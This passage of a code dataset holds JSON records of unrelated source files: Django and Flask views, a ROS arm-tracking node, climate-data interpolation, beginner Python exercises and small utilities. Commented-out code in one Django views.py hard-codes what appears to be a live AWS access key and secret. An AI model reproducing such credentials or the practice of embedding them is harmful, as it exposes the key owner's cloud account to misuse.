\"DO_NOT_INSTALL_CHANGELOG=1\",\n \"prefix=/%s\" % get.defaultprefixDIR()]\n\ndef setup():\n with open(\"Makefile.local\", 'w') as file:\n for line in lines:\n file.write(\"%s\\n\" % line)\n\ndef build():\n autotools.make()\n\ndef install():\n autotools.install()\n\n pisitools.dodoc(\"changelog.txt\", \"COPYING\", \"bundle/docs/*.txt\")\n","sub_path":"game/misc/catcodec/actions.py","file_name":"actions.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"389628585","text":"import random\n\n\ndef additionner(x, y):\n return x + y\n\n\ndef calculer(x, y, operation):\n resultat = operation(x, y)\n return resultat\n\n\nf = additionner\nprint(additionner(2, 4))\nprint(f(4, 5))\nprint(calculer(1, 3, f))\nprint(calculer(1, 3, additionner))\nprint(calculer(1, 3, lambda toto, tutu: toto * tutu))\n\n# calcul de factorielle\nnum = 4\nfact = 1\nfor i in range(num):\n fact = fact * (i + 1)\n\nprint(\"factorielle\", fact)\n\n# si x est négatif, la factorielle est égale à 0\n\n\ndef calculer_factorielle(x):\n if x < 0:\n return 0\n\n if x <= 1:\n return 1\n else:\n return x * calculer_factorielle(x - 1)\n\n\nprint(calculer_factorielle(4))\n","sub_path":"paradigmes/live_coding_2019_10_07/fonctionnel01.py","file_name":"fonctionnel01.py","file_ext":"py","file_size_in_byte":667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"404128988","text":"from django.db.models import CharField, Value as V\nfrom django.db.models.functions import Concat\nfrom django.http import HttpResponse\nimport boto\nimport re\nimport os\nfrom django.conf import settings\nfrom boto.s3.connection import OrdinaryCallingFormat\nimport mimetypes\n\nfrom rest_framework.viewsets import ModelViewSet\nfrom .serializers import ContactsSerializer, DataSerializer,PropertiesSerializer\n\nfrom django.shortcuts import render\nfrom rest_framework import viewsets\nfrom django.views.generic import View, ListView\nfrom .models import Data, SaveFile, Contacts, Tags, Properties\nfrom django.contrib import messages\nfrom datetime import datetime\nfrom django.db.models import Q\n\n\nclass PropertiesViewSet(ModelViewSet):\n serializer_class = PropertiesSerializer\n queryset = Properties.objects.all()\n\nclass ContactsViewSet(ModelViewSet):\n serializer_class = ContactsSerializer\n queryset = Contacts.objects.all()\nclass DataViewSet(ModelViewSet):\n serializer_class = DataSerializer\n queryset = Data.objects.all()\n\n\ndef home(request):\n return render (request, 'index.html', {'var': 'content'})\n\n\n\n\n\n\n\n # from boto.s3.connection import S3Connection\n # conn = S3Connection('', '')\n # bucket = conn.get_bucket('mybucket')\n # key = bucket.get_key('mykey', validate=False)\n # url = key.generate_url(86400)\n\n\n # fname = request.GET['filename']\n # bucket_name = 'fmapplication'\n # key = s.get_bucket(bucket_name).get_key(fname)\n # key.get_contents_to_filename('static/files' + key.name)\n # wrapper = FileWrapper(open('static/files' + fname, 'rb'))\n # content_type = mimetypes.guess_type('/tmp/' + fname)[0]\n # response = HttpResponse(wrapper, content_type=content_type)\n # response['Content-Length'] = os.path.getsize('static/files' + fname)\n # response['Content-Disposition'] = 'attachment; filename=%s' % smart_str(fname)\n\n\nclass SearchView(View):\n data_model = Data\n contacts_model = Contacts\n save_file_model = SaveFile\n categories_model = Tags\n template_name = 'index.html'\n context_object_name = 'all_search_results'\n\n # def handles3downloads(self, request):\n # import boto\n # conn = boto.connect_s3('AKIAR43Z6RQRISNTYBNQ', 'eWp0iJ6wJGvmtfGu0JEVihmg+NIkI6soHHAX24nR', host='eu-west-2')\n # bucket = conn.get_bucket('fmapplication')\n # s3_file_path = bucket.get_key('static/files/dummy_drawing_comment.pdf')\n # url = s3_file_path.generate_url(60, 'GET', response_headers=response_headers,\n # force_http=True) # expiry time is in seconds\n # file_response = requests.get(url)\n # return render(request, 'index.html', locals())\n\n\n # def download(self, request):\n #\n # import boto\n # conn = boto.connect_s3('AKIAR43Z6RQRISNTYBNQ', 'eWp0iJ6wJGvmtfGu0JEVihmg+NIkI6soHHAX24nR')\n # bucket = conn.get_bucket('fmapplication')\n # s3_file_path = bucket.get_key('static/files')\n # url = s3_file_path.generate_url(expires_in=600) # expiry time is in seconds\n #\n # return HttpResponseRedirect(url)\n\n def get(self, request):\n data_model = Data\n save_file_model = SaveFile\n files_data = self.save_file_model.objects.all()\n files_meta = self.data_model.objects.all()\n files_contacts = self.contacts_model.objects.all()\n files_tags = self.categories_model.objects.all()\n query = self.request.GET.get('search')\n\n if query:\n postresult = save_file_model.objects.filter(Q(file__icontains=query) |\n Q(data__name__icontains=query) |\n Q(data__category__icontains=query) |\n Q(data__value__icontains=query) |\n Q(data__contact__cont_fname__icontains=query) |\n Q(data__contact__cont_lname__icontains=query) |\n Q(data__contact__cont_company__icontains=query))\n result = postresult\n else:\n result = self.save_file_model.objects.all()\n return render(request, 'index.html', locals())\n\nclass AddFileView(View):\n data_model = Data\n contacts_model = Contacts\n save_file_model = SaveFile\n categories_model = Tags\n\n def get(self, request):\n files_data = self.save_file_model.objects.all()\n files_meta = self.data_model.objects.all()\n files_contacts = self.contacts_model.objects.all()\n files_tags = self.categories_model.objects.all()\n return render(request, 'data.html', locals())\n\n def post(self, request):\n\n # handle files save and load\n get_file = request.FILES['file']\n get_title = request.POST.get('title')\n get_contact = request.POST.get('contact_in')\n get_category = request.POST.get('categories_in')\n get_date = request.POST.get('date_in')\n\n get_date_format = (datetime.strptime(get_date, '%Y-%m-%d').strftime('%y%m%d'))\n\n full_contact = self.contacts_model.objects.filter(id=get_contact)\n full_contact_list = []\n for i in full_contact:\n full_contact_list.append(str(i.cont_company))\n get_company = (full_contact_list[0])[0:3].upper()\n\n\n full_category = self.categories_model.objects.filter(id=get_category)\n full_category_list = []\n for i in full_category:\n full_category_list.append(str(i.categories))\n get_category_alias = (full_category_list[0])[0:3].upper()\n\n\n getalias = (get_date_format + '-' +\n get_category_alias + '-' + \\\n get_company + '-' + \\\n str(get_file))\n\n\n data = self.data_model(name=get_title, initials =getalias , tag_id=get_category, value = get_date, contact_id = get_contact)\n data.save()\n\n # upload single image\n if get_file is not False:\n # save file\n file_object = self.save_file_model(data=data, file=get_file)\n file_object.save()\n\n messages.success(request, 'File has beed added')\n\n return render(request, 'data.html', locals())\n\n\n\n\n# test it through!\n# class AWSDownload(object):\n# access_key = None\n# secret_key = None\n# bucket = None\n# region = None\n# expires = getattr(settings, 'AWS_DOWNLOAD_EXPIRE', 5000)\n#\n# def __init__(self, access_key, secret_key, bucket, region, *args, **kwargs):\n# self.bucket = bucket\n# self.access_key = access_key\n# self.secret_key = secret_key\n# self.region = region\n# super(AWSDownload, self).__init__(*args, **kwargs)\n#\n# def s3connect(self):\n# conn = boto.s3.connect_to_region(\n# self.region,\n# aws_access_key_id=self.access_key,\n# aws_secret_access_key=self.secret_key,\n# is_secure=True,\n# calling_format=OrdinaryCallingFormat()\n# )\n# return conn\n#\n# def get_bucket(self):\n# conn = self.s3connect()\n# bucket_name = self.bucket\n# bucket = conn.get_bucket(bucket_name)\n# return bucket\n#\n# def get_key(self, path):\n# bucket = self.get_bucket()\n# key = bucket.get_key(path)\n# return key\n#\n# def get_filename(self, path, new_filename=None):\n# current_filename = os.path.basename(path)\n# if new_filename is not None:\n# filename, file_extension = os.path.splitext(current_filename)\n# escaped_new_filename_base = re.sub(\n# '[^A-Za-z0-9\\#]+',\n# '-',\n# new_filename)\n# escaped_filename = escaped_new_filename_base + file_extension\n# return escaped_filename\n# return current_filename\n#\n# def generate_url(self, path, download=True, new_filename=None):\n# file_url = None\n# aws_obj_key = self.get_key(path)\n# if aws_obj_key:\n# headers = None\n# if download:\n# filename = self.get_filename(path, new_filename=new_filename)\n# headers = {\n# 'response-content-type': 'application/force-download',\n# 'response-content-disposition':'attachment;filename=\"%s\"'%filename\n# }\n# file_url = aws_obj_key .generate_url(\n# response_headers=headers,\n# expires_in=self.expires,\n# method='GET')\n# return file_url\n#\n# bucket = AWS_STORAGE_BUCKET_NAME\n# region = S3DIRECT_REGION\n# access_key = AWS_ACCESS_KEY_ID\n# secret_key = AWS_SECRET_ACCESS_KEY\n# path = 'path/to/object/to/download/in/your/bucket/somefile.jpg'\n#\n# aws_dl_object = AWSDownload(access_key, secret_key, bucket, region)\n# file_url = aws_dl_object.generate_url(path, new_filename='New awesome file')","sub_path":"myapi/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9181,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"408235357","text":"\na = 0\n\nwhile True:\n\n print(a)\n\n a += 1\n\n if a == 10 :\n\n print('save point')\n\n break\n\nwhile a<100:\n\n print(a)\n\n a += 10\n\n if a%20 != 0:\n continue\n\n\n\nnum = 0\n\nwhile num not in ['one','two','three']:\n\n num = input('you can input \"one\" \"two\" \"three\",only > ')\n\n","sub_path":"whlie.py","file_name":"whlie.py","file_ext":"py","file_size_in_byte":300,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"20184634","text":"from gunicorn import __version__\nimport json\nfrom compare import compare\n\n\n\ndef app(environ, start_response):\n if environ['REQUEST_METHOD'].upper() != 'POST':\n data = b'Invalid Request'\n else:\n data = environ['wsgi.input'].read()\n ans = json.loads(data)\n status = '200 OK'\n similarity = str(compare(list(ans.values())[0], list(ans.values())[1]))\n response_headers = [\n ('Content-type', 'text/plain'),\n ('Content-Length', str(len(data))),\n ('X-Gunicorn-Version', __version__)\n ]\n start_response(status, response_headers)\n return [similarity.encode('utf-8')]","sub_path":"w2v_server/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"129390893","text":"# N,M,K를 공백으로 구분하여 입력받기\nn,m,k = map(int, input().split())\n# N개의 수를 공백으로 구분하여 입력받기\ndata = list(map(int,input().split()))\n\ndata.sort() # 입력받은 수 정렬\nfirst = data[n-1]\nsecond = data[n-2] # 두 번째로 큰 수\n\n# 가장 큰 수가 더해지는 횟수 계산\ncount = int(m/k+1) * k\ncount += m % (k+1) # 나누어 떨어지지 않는 경우 고려\n\nresult = 0\nresult += (count) * first # 가장 큰 수 더하기\nresult += (m-count) * second # 두 번째로 큰 수 더하기\n\nprint(result) # 최종 답안 출력\n\n","sub_path":"CHAPTER 03 그리디/3-2.py","file_name":"3-2.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"92559804","text":"import sys\n\nsys.path.append('keras-rnn/wrappers')\n\nfrom hLSTM import hLSTM\n\ndef concatData(names):\n\n data = []\n for name in names:\n temp = hLSTM()\n temp.load(name)\n data += temp.raw_corpus\n\n new = hLSTM()\n new.raw_corpus = data\n\n new.save('trainer.json')\n\n\n\n\nif __name__ == '__main__':\n\n concatData(sys.argv[1:])\n","sub_path":"concatData.py","file_name":"concatData.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"487432433","text":"import cv2 as cv\nimport numpy as np\n\ndef findUser(user_img_path,client):\n user = cv.imread(user_img_path)\n result = cv.matchTemplate(client, user, cv.TM_CCOEFF_NORMED)\n\n threshold = 0.9\n\n min_val, max_val, min_loc, max_loc = cv.minMaxLoc(result)\n\n if max_val > threshold:\n w = user.shape[1]\n h = user.shape[0]\n top_left = max_loc\n bottom_right = (top_left[0] + w, top_left[1] + h)\n image = cv.rectangle(client,top_left,bottom_right,255,2)\n cv.putText(image, 'userg', (top_left[0], top_left[1] - 10), cv.FONT_HERSHEY_SIMPLEX, 0.9, (36, 255, 12), 2)\n","sub_path":"vision.py","file_name":"vision.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"372074063","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport os\nimport rospy\nfrom sensor_msgs.msg import Image, CameraInfo\nfrom geometry_msgs.msg import PointStamped, Twist, Vector3, Pose, Point, Quaternion\nfrom visualization_msgs.msg import Marker\nimport cv2\nfrom cv_bridge import CvBridge\nimport numpy as np\nimport subprocess\nimport tf\nimport math\n\nimport moveit_commander\nimport rosparam\n\n\nfrom convert_depth_to_phys_coord import convert_depth_to_phys_coord_using_realsense\nfrom find_specific_color import find_specific_color\n\n\n\ndef createMarker():\n marker_data = Marker()\n marker_data.header.frame_id = \"base_link\"\n marker_data.header.stamp = rospy.Time.now()\n\n marker_data.ns = \"basic_shapes\"\n marker_data.id = 0\n\n marker_data.action = Marker.ADD\n marker_data.pose.orientation.x=0.0\n marker_data.pose.orientation.y=0.0\n marker_data.pose.orientation.z=1.0\n marker_data.pose.orientation.w=0.0\n marker_data.color.r = 1.0\n marker_data.color.g = 0.0\n marker_data.color.b = 0.0\n marker_data.color.a = 1.0\n\n marker_data.scale.x = 0.05\n marker_data.scale.y = 0.05\n marker_data.scale.z = 0.05\n marker_data.lifetime = rospy.Duration(1)\n marker_data.type = 1\n return marker_data\n\n\n\nclass TrackColor:\n def __init__(self):\n self.bridge = CvBridge()\n self.color_image = None\n self.depth_array = None\n self.cameraInfo = None\n\n self.is_simulator = rosparam.get_param(\"/is_simulator\") == \"true\"\n\n rospy.init_node('calc_coord_node')\n\n rospy.Subscriber(\"/d435/color/image_raw\", Image, self.image_listener)\n rospy.Subscriber(\"/d435/aligned_depth_to_color/image_raw\", Image, self.depth_image_listener)\n rospy.Subscriber(\"/d435/color/camera_info\", CameraInfo, self.cameraInfo_listener)\n\n self.tf_listener = tf.TransformListener()\n\n\n self.pub_position_marker = rospy.Publisher(\"position_marker\", Marker, queue_size=10)\n self.pub_detected_position_image = rospy.Publisher(\"/detected_position_image\", Image, queue_size=1)\n\n\n self.arm = moveit_commander.MoveGroupCommander(\"arm\")\n self.arm.set_pose_reference_frame(\"base_link\")\n\n r = rospy.Rate(5)\n while not rospy.is_shutdown():\n\n self.do_something()\n\n r.sleep()\n\n\n\n def do_something(self):\n if self.cameraInfo is None:\n return\n if self.depth_array is None:\n return\n if self.color_image is None:\n return\n \n\n position = find_specific_color(self.color_image)\n\n if position is not None:\n copy_im = self.color_image.copy()\n cv2.circle(copy_im, position, 10, (0, 0, 255), -1)\n msg = self.bridge.cv2_to_imgmsg(copy_im, encoding=\"bgr8\")\n self.pub_detected_position_image.publish(msg)\n #print(position)\n #print(self.depth_array[position[1]][position[0]])\n else:\n return\n\n marker_data = createMarker()\n marker_data.id = 1\n X, Y, Z = convert_depth_to_phys_coord_using_realsense(position[0],position[1], self.depth_array[position[1]][position[0]], self.cameraInfo)\n p = PointStamped()\n p.header.frame_id = \"d435_link\"\n p.header.stamp =rospy.Time(0)\n p.point.x= X\n p.point.y = Y\n p.point.z = Z\n \n p = self.tf_listener.transformPoint(\"base_link\", p)\n marker_data.pose.position = p.point\n self.pub_position_marker.publish(marker_data)\n\n\n #\n #\n #move arm\n orientation = Quaternion(0,0.707106,0,0.707106)\n pose = Pose(p.point, orientation)\n self.move_arm(pose)\n\n \n def move_arm(self, goal_pose):\n\n self.arm.set_pose_target(goal_pose)\n plan = self.arm.plan()\n if plan.joint_trajectory.points: \n self.arm.execute(plan)\n\n\n\n\n\n def cameraInfo_listener(self, data):\n self.cameraInfo = data\n\n def image_listener(self, data):\n try:\n image = self.bridge.imgmsg_to_cv2(data, \"bgr8\")\n self.color_image = image\n \n except Exception as err:\n print(err)\n\n def depth_image_listener(self,data):\n try:\n \n depth_image = self.bridge.imgmsg_to_cv2(data, 'passthrough')\n depth_array = np.array(depth_image, dtype=np.float32)\n\n if self.is_simulator:\n self.depth_array = depth_array\n else:\n self.depth_array = depth_array / 1000.0\n\n except Exception as err:\n print(err)\n\n\n\nif __name__ == '__main__':\n try:\n TrackColor()\n except rospy.ROSInterruptException:\n pass\n","sub_path":"my_robo_move_arm/scripts/track_color.py","file_name":"track_color.py","file_ext":"py","file_size_in_byte":4354,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"187327832","text":"from pluto.apps.artist import models\nfrom pluto.libs.test_utils import PlutoTestCase\n\n\nclass ArtistTest(PlutoTestCase):\n def setUp(self):\n self.ARTIST_URL = '/artist/api/v1/artist'\n self.ARTISTS_URL = '/artist/api/v1/artists'\n\n models.Artist.objects.create(name='艺人#0')\n\n def test_artist_api(self):\n resp = self._get(self.ARTIST_URL, {'pk': 1})\n\n self._test_success(resp)\n self.assertEqual(resp['data']['name'], '艺人#0')\n\n def test_artists_api(self):\n resp = self._get(self.ARTISTS_URL)\n\n self._test_success(resp)\n self.assertEqual(resp['data'][0]['name'], '艺人#0')\n","sub_path":"pluto/apps/artist/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"301104903","text":"#- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Dec 16 09:01:27 2019\r\n\r\n@author: pdlr201\r\n\r\nScript to interpolate annual 1pctCO2 CMIP6 data onto 1 degree world grid\r\n\"\"\"\r\n\r\nimport iris\r\nimport numpy as np\r\nimport numpy.ma as ma\r\nfrom iris.cube import Cube\r\n\r\n\r\ndef shiftlon(lon,lon_0):\r\n \"\"\"returns original sequence of longitudes (in degrees) recentered\r\n in the interval [lon_0-180,lon_0+180]\"\"\"\r\n lon_shift = np.asarray(lon)\r\n lon_shift = np.where(lon_shift > lon_0+180, lon_shift-360 ,lon_shift)\r\n lon_shift = np.where(lon_shift < lon_0-180, lon_shift+360 ,lon_shift)\r\n itemindex = len(lon)-np.where(lon_shift[0:-1]-lon_shift[1:] >= 180)[0]\r\n return (np.roll(lon_shift,itemindex-1), itemindex-1)\r\n\r\n# You shouldn't need to change the below entries at least for the 3 models you\r\n# are currently using\r\ntemp_res = 'Lmon'\r\nexperiment = '1pctCO2'\r\nvariant_id = 'r1i1p1f1'\r\n\r\n################# Specify variable of interest ######################\r\nvar = 'cVeg' # or treeFrac\r\n\r\n################# Specify model here ################################## \r\nmodel = 'GFDL-ESM4'\r\n\r\n\r\n# Specific entries for the 3 models initially used\r\nif model == 'EC-Earth3-Veg':\r\n\r\n grid_label = '_gr'\r\n date_ranges = []\r\n for k in np.arange(151):\r\n date_ranges.extend([str(1850+k)+'01-'+str(1850+k)+'12'])\r\n total_years = 151\r\n date_range2 = '1850-2000'\r\n\r\nelif model == 'GFDL-ESM4':\r\n \r\n grid_label = '_gr1'\r\n date_ranges = ['000101-010012', '010101-015012']\r\n total_years = 150\r\n date_range2 = '1850-1999'\r\n \r\nelif model == 'MPI-ESM1-2-LR':\r\n \r\n grid_label = '_gn'\r\n date_ranges = []\r\n for k in np.arange(8):\r\n date_ranges.extend([str(1850+k*20)+'01-'+str(1850+((k+1)*20)-1)+'12'])\r\n date_ranges.extend(['201001-201412'])\r\n total_years = 165\r\n date_range2 = '1850-2014'\r\n\r\nelif model == 'NorCPM1':\r\n grid_label = '_gn'\r\n date_ranges = ['000102-016412']\r\n total_years = 164\r\n date_range2 = '1850-2013'\r\n\r\nelif model == 'TaiESM1':\r\n grid_label = '_gn'\r\n date_ranges = ['000102-015012']\r\n total_years = 150\r\n date_range2 = '1850-2000'\r\n \r\nelif model == 'SAM0-UNICON':\r\n grid_label = '_gn'\r\n date_ranges = []\r\n for k in np.arange(15):\r\n date_ranges.extend([str(1850+(k*10))+'01-'+str(1859+(k*10))+'12'])\r\n total_years = 150\r\n date_range2 = '1850-1999'\r\n \r\nelif model == 'UKESM1-0-LL':\r\n grid_label = '_gn'\r\n date_ranges = ['185001-194912', '195001-199912']\r\n total_years = 150\r\n date_range2 = '1850-2000'\r\n \r\n######################## Specify path to data ##########################\r\n# (I have 2 directories a raw data directory and a processed data directory)\r\npath = 'C:/Users/impy2/OneDrive/Documents/Uni Yr3/Tipping Points Project/'+var+'/'+experiment\r\n\r\n######################## Specify directory of raw data ##################\r\nraw_data = '/Original_data/'\r\n\r\n######################## Specify directory of processed data ##################\r\nprocessed_data = '/Processed_data/'\r\n\r\n############ Specify directory within processed data directory for the region interpolated #################\r\nregion = 'World'\r\n\r\n# Define latitude and longitude (uses 1 degree by 1 degree grid) \r\nmy_lats=['latitude',np.arange(-90,91,step=1)]\r\nmy_lons=['longitude',np.arange(-180,181,step=1)]\r\n\r\n# Months in the year\r\nfreq = 12\r\n\r\n# Initialise counters\r\ncount = 0\r\nsub_total_years = 0\r\n\r\n# Loop through data files\r\nfor i in range(len(date_ranges)):\r\n \r\n # File name of data\r\n fname = path+raw_data+var+'_'+temp_res+'_'+model+'_'+experiment+'_'+variant_id+grid_label+'_'+date_ranges[i]+'.nc'\r\n\r\n # Load file contents into an iris cube\r\n x = iris.load_cube(fname)\r\n \r\n # Extract data values\r\n data = x.data\r\n\r\n # Determine lengths of data dimensions\r\n nt = int(len(data[:,0,0]))\r\n ny = int(len(data[0,:,0]))\r\n nx = int(len(data[0,0,:]))\r\n \r\n years = int((nt+1)/freq)\r\n \r\n # On first loop through create a new empty cube with original coordinates\r\n if count == 0:\r\n \r\n new_coord = iris.coords.DimCoord(range(total_years), long_name='time', units=1)\r\n coord1 = x.coord('latitude')\r\n coord2 = x.coord('longitude')\r\n \r\n cube = Cube(ma.zeros((total_years,ny,nx),np.float32),dim_coords_and_dims=[(new_coord,0),(coord1,1),(coord2,2)])\r\n \r\n count2 = 0\r\n \r\n # Stack all data into 1 cube \r\n for j in range(sub_total_years,sub_total_years+years):\r\n\r\n cube.data[j,:,:] = np.mean(data[count2*freq:(count2+1)*freq,:,:], axis=0)\r\n \r\n count2 = count2 + 1\r\n \r\n sub_total_years = sub_total_years + years\r\n count = count+1\r\n\r\n# Centre coordinates about longitude 0\r\ncube.coord('longitude').points, rollindex = shiftlon(cube.coord('longitude').points, 0)\r\n\r\n# Roll data to be consistent with longitude 0\r\ncube.data = np.roll(cube.data, rollindex, axis=2)\r\n\r\n# Interpolate data onto new coordinate system\r\nregion_cube = cube.interpolate([my_lats, my_lons],iris.analysis.Linear(extrapolation_mode='nan'))\r\n\r\n# Ensure new cube has correct name\r\nregion_cube.rename(var)\r\n\r\n# New file name for data\r\noutname = path+processed_data+region+'/'+var+'_'+model+'_'+experiment+'_'+variant_id+'_'+date_range2+'_'+region+'.nc'\r\n\r\n# Save data to file name\r\niris.save(region_cube, outname, unlimited_dimensions=[])\r\n","sub_path":"World_interpolation.py","file_name":"World_interpolation.py","file_ext":"py","file_size_in_byte":5322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"521044524","text":"from services.mysql_service import MySQLService\nfrom utils.common_utils import is_logged_in\n\nfrom flask import Blueprint, render_template, request, session, flash, redirect, url_for\n\nfrom forms.forms import ArticleForm\nfrom models.Article import Article\n\narticles = Blueprint('articles', __name__, template_folder='templates')\n\ndb = MySQLService()\n\n\n# Articles\n@articles.route('/articles')\ndef all_articles():\n articles = db.get_all_articles()\n if len(articles) > 0:\n return render_template('articles.html', articles=articles)\n else:\n msg = 'No Articles Found'\n return render_template('articles.html', msg=msg)\n\n\n# Single Article\n@articles.route('/article//')\ndef single_article(id):\n article = db.get_article_by_id(id)\n return render_template('article.html', article=article)\n\n\n@articles.route('/add_article/', methods=['GET', 'POST'])\n@is_logged_in\ndef add_article():\n form = ArticleForm(request.form)\n if request.method == 'POST' and form.validate():\n title = form.title.data\n body = form.body.data\n author = session['username']\n\n article = Article(title, body, author)\n\n db.add_article(article)\n flash('Article Created', 'success')\n return redirect(url_for('dashboard_route.dashboard'))\n return render_template('add_article.html', form=form)\n\n\n# Edit article\n@articles.route('/edit_article/', methods=['GET', 'POST'])\n@is_logged_in\ndef edit_article(id):\n article = db.get_article_by_id_and_author(id, session['username'])\n if not article:\n flash('Permission denied', 'danger')\n return redirect(url_for('dashboard_route.dashboard'))\n # Get form\n form = ArticleForm(request.form)\n # Populate form fields\n form.title.data = article['title']\n form.body.data = article['body']\n\n if request.method == 'POST' and form.validate():\n title = request.form['title']\n body = request.form['body']\n\n article = db.get_article_by_id_and_author(id, session['username'])\n\n if not article:\n flash('Permission denied', 'danger')\n return redirect(url_for('dashboard_route.dashboard'))\n\n new_article = Article(title, body, article['author'])\n\n db.update_article_by_id(id, new_article)\n\n flash('Article Updated', 'success')\n return redirect(url_for('dashboard_route.dashboard'))\n return render_template('edit_article.html', form=form)\n\n\n# Delete article\n@articles.route('/delete_article/', methods=['POST'])\n@is_logged_in\ndef delete_article(id):\n result = db.delete_article_by_id(id, session['username'])\n if not result:\n flash('Permission denied', 'danger')\n return redirect(url_for('dashboard_route.dashboard'))\n flash('Article Deleted', 'success')\n return redirect(url_for('dashboard_route.dashboard'))\n","sub_path":"routes/articles_routes.py","file_name":"articles_routes.py","file_ext":"py","file_size_in_byte":2716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"43343149","text":"# 20K1026 日比野将己\n# 練習問題 2-4\n# --------------------------\n# プログラム名: ex02-bouncing-many.py\n\nfrom tkinter import *\nfrom dataclasses import dataclass\nimport time\n\nDURATION = 0.01 # 画面停止時間\nGRAVITY = 0.1 # 重力\nREACTION = 0.9 # 弾性力\ny1 = 1 # 頂点のy座標\ny2 = 1000 # 着地した時のy座標\ncount1 = 0 # 頂点の判定\ncount2 = 0 # ボールの判定\n\n\n@dataclass\nclass Ball: # ボールのクラス\n id: float\n x: float # x 座標\n y: float # y 座標\n d: float # 大きさ\n vx: float # x 軸の初速\n vy: float # y 軸の初速\n c: str\n\n\n@dataclass\nclass Border: # 枠線のクラス\n left: int # 左枠の位置\n right: int # 右枠の位置\n top: int # 上枠の位置\n bottom: int # 下枠の位置\n\n\ndef make_wall(x, y, w, h): # 外枠の作成\n global canvas\n canvas.create_rectangle(x, y, x + w, y + h) # 四角書くやつ\n\n\ndef make_ball(x, y, d, vx, vy, c=\"black\"): # ボール1つ作成\n global canvas\n id = canvas.create_rectangle(x, y, x + d, y + d, outline=c, fill=c) # 四角情報取得\n return Ball(id, x, y, d, vx, vy, c) # ボールクラスの値を更新して返す\n\n\ndef move_ball(ball): # 座標の移動\n ball.x += ball.vx # x軸方向の移動\n ball.y += ball.vy # y軸方向の移動\n\n\ndef redraw_ball(ball): # 移動後のボールの描写\n global canvas\n canvas.coords(ball.id, ball.x, ball.y,\n ball.x + ball.d, ball.y + ball.d) # id の座標の更新\n\n\ntk = Tk()\ncanvas = Canvas(tk, width=800, height=600)\ncanvas.pack()\ntk.update()\n\nborder = Border(100, 700, 100, 500) # 枠線のクラス作成\nmake_wall(border.left, border.top,\n border.right - border.left, border.bottom - border.top) # 枠線の描写\n\nballs = [\n make_ball(100, 100, 20, 2, 1, \"darkblue\"), # ボール4つ\n make_ball(200, 200, 25, -4, 3, \"orange\"),\n make_ball(300, 300, 10, -2, -1, \"green\"),\n make_ball(400, 400, 5, 4, 2, \"darkgreen\")\n]\n# ball = make_ball(200, 200, 50, 3, 0, \"black\")\n\nballs_y = [[1, 1000], [1, 1000], [1, 1000], [1, 1000]] # それぞれのボールの頂点と着地点を保存\n\nwhile True:\n for ball in balls: # ballsから1つずつ持ってくる\n if count2 == 0: # 1個目のボールの時\n y1 = balls_y[0][0] # リストから値を取ってくる\n y2 = balls_y[0][1]\n elif count2 == 1: # 2個目のボールの時\n y1 = balls_y[1][0]\n y2 = balls_y[1][1]\n elif count2 == 2: # 3個目のボールの時\n y1 = balls_y[2][0]\n y2 = balls_y[2][1]\n elif count2 == 3: # 4個目のボールの時\n y1 = balls_y[3][0]\n y2 = balls_y[3][1]\n\n if y2 - y1 < sys.float_info.min: # 頂点と着地の y 座標の差が限りなく 0 に近づいたとき(完全な方法を思いつかなかった)\n if count2 == 3: # 次のボールに行くため、count変更\n count2 = 0\n else:\n count2 += 1\n continue # ループを飛ばす\n ball.vy += GRAVITY # 重力付加\n move_ball(ball) # ボール動かす\n\n under_ball = ball.y + ball.d # ボールの下\n right_ball = ball.x + ball.d # ボールの右\n\n if ball.x <= border.left or \\\n right_ball >= border.right: # 左枠か右枠を超えたら\n ball.vx = -ball.vx # 向きを逆にする\n\n if ball.y + ball.vy < border.top \\\n or ball.y + ball.d >= border.bottom: # 下線をボールが越えたら\n ball.vy *= -REACTION # 逆方向にボールを反射させる\n y2 = ball.y # y 座標取得\n count1 = 0 # countを元に戻す\n\n if ball.vy > 0 and count1 == 0: # 頂点に来た時\n y1 = ball.y # y 座標取得\n count1 = 1 # 一回だけにしたいため、+1\n\n redraw_ball(ball) # 動いた後を描写\n\n if count2 == 0: # 1個目の時\n balls_y[0][0] = y1 # 値をリストに書き込む\n balls_y[0][1] = y2\n count2 += 1\n elif count2 == 1: # 2個目の時\n balls_y[1][0] = y1\n balls_y[1][1] = y2\n count2 += 1\n elif count2 == 2: # 3個目の時\n balls_y[2][0] = y1\n balls_y[2][1] = y2\n count2 += 1\n elif count2 == 3: # 4個目の時\n balls_y[3][0] = y1\n balls_y[3][1] = y2\n count2 = 0\n\n tk.update() # 画面更新\n time.sleep(DURATION) # 0.001秒処理停止\ntk.mainloop()\n","sub_path":"提出用/20K1026-日比野将己-ex2/ex02-bouncing-many.py","file_name":"ex02-bouncing-many.py","file_ext":"py","file_size_in_byte":4698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"305089670","text":"from setuptools import find_packages, setup\r\n\r\nPACKAGE_NAME = \"async-up-bank-api\"\r\nVERSION = \"0.1.2\"\r\nPROJECT_URL = 